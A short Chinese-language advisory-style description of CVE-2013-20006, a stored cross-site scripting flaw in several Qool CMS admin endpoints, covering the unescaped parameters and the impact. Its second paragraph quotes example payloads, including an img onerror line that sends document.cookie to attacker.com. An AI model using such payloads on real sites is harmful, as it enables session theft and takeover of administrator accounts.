CVE-2013-20006CVE-2013-20006是Qool CMS中的一个高危安全漏洞,CVSS评分达到7.5分。该漏洞属于持久性跨站脚本攻击(Stored XSS),存在于多个管理后台脚本中。漏洞的根本原因是应用程序在接受用户输入的POST参数后,未能对特殊字符进行充分的过滤和转义处理,直接将用户提交的数据存储到数据库。当其他用户(尤其是管理员)访问相关页面时,这些未经处理的恶意脚本代码会被浏览器解析执行,从而实现对受害者浏览器的完全控制。攻击者可以利用此漏洞窃取会话Cookie、劫持用户账号、进行钓鱼攻击或在管理员界面中植入恶意代码。由于漏洞出现在管理后台,攻击者成功利用后可获得管理员权限,进而控制整个CMS系统。该漏洞影响Qool CMS的多个功能模块,包括内容管理、用户管理、菜单管理等核心功能。
Qool CMS的持久性XSS漏洞存在于以下管理端点:addnewtype、addnewdatafield、addmenu、addusergroup、addnewuserfield、adduser、addgeneraldata和addcontentitem。这些端点在处理POST请求时,直接将用户提交的参数值存储到数据库,而未对title、name、email、username、link、task等参数进行HTML特殊字符转义。攻击者可以在这些参数中注入恶意JavaScript代码,如<script>alert(document.cookie)</script>或<img src=x onerror=this.src='https://attacker.com/?c='+document.cookie>。当管理员访问相关列表或详情页面时,存储的恶意脚本会被浏览器作为页面内容的一部分解析执行。由于管理员通常具有更高权限,攻击者可通过窃取的管理员Cookie进一步进行横向移动或完全控制服务器。该漏洞属于OWASP Top 10中的A7(2017版)/A03(2021版)跨站脚本漏洞类别。攻击者利用此漏洞无需任何特殊权限,仅需构造包含恶意代码的POST请求即可完成注入。